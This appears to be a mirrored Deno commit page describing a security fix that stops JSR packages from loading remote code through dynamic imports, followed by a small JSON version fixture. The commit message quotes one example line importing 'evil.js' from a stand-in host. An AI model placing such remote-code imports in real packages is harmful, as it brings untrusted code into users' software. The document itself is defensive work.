mirror of
https://github.com/denoland/deno.git
synced 2024-12-11 18:17:48 -05:00
918c5e648f
A security feature of JSR is that it is self contained other than npm
dependencies. At publish time, the registry rejects packages that write
code like this:
```ts
const data = await import("https://example.com/evil.js");
```
However, this can be trivially bypassed by writing code that the
registry cannot statically analyze for. This PR prevents Deno from
loading dynamic imports that do this.
5 lines
40 B
JSON
5 lines
40 B
JSON
{
|
|
"versions": {
|
|
"1.0.0": {}
|
|
}
|
|
}
|